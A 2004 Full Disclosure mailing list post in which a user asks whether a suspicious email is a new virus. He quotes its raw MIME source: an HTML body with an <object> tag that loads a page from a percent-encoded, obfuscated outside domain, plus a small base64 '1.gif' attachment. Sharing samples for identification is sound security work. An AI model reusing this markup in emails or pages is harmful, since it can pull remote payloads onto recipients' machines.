Full Disclosure mailing list archives

new email virus?

From: John Nagro <john.nagro () gmail com>
Date: Wed, 25 Aug 2004 14:37:18 -0400

my co-worker got this in their email today... here is the body + some
headers + the attachment... could this be a new virus? anyone else see
anything like this?

MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------fthllkqoljuvkhyckltf"
X-YAVR: XML-CODEBASE
Subject: WARNING-XML-CODEBASE-OBJECT-2

----------fthllkqoljuvkhyckltf
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
<object  data="http://www.v%69k%6F%72d.com/default.htm";><br><br>

<br>
</body></html>

----------fthllkqoljuvkhyckltf
Content-Type: application/octet-stream; name="1.gif"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="1.gif"

NDU0NTEyMTI=

----------fthllkqoljuvkhyckltf--
------------------------------------------------------------------------

-- 
John Nagro
john.nagro () gmail com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Current thread:

new email virus? John Nagro (Aug 25)
- Re: new email virus? Tremaine (Aug 25)
- Re: new email virus? morning_wood (Aug 25)
  - Re: new email virus? Charles Heselton (Aug 25)
    - Re: new email virus? Nick FitzGerald (Aug 29)
- <Possible follow-ups>
- RE: new email virus? Todd Towles (Aug 25)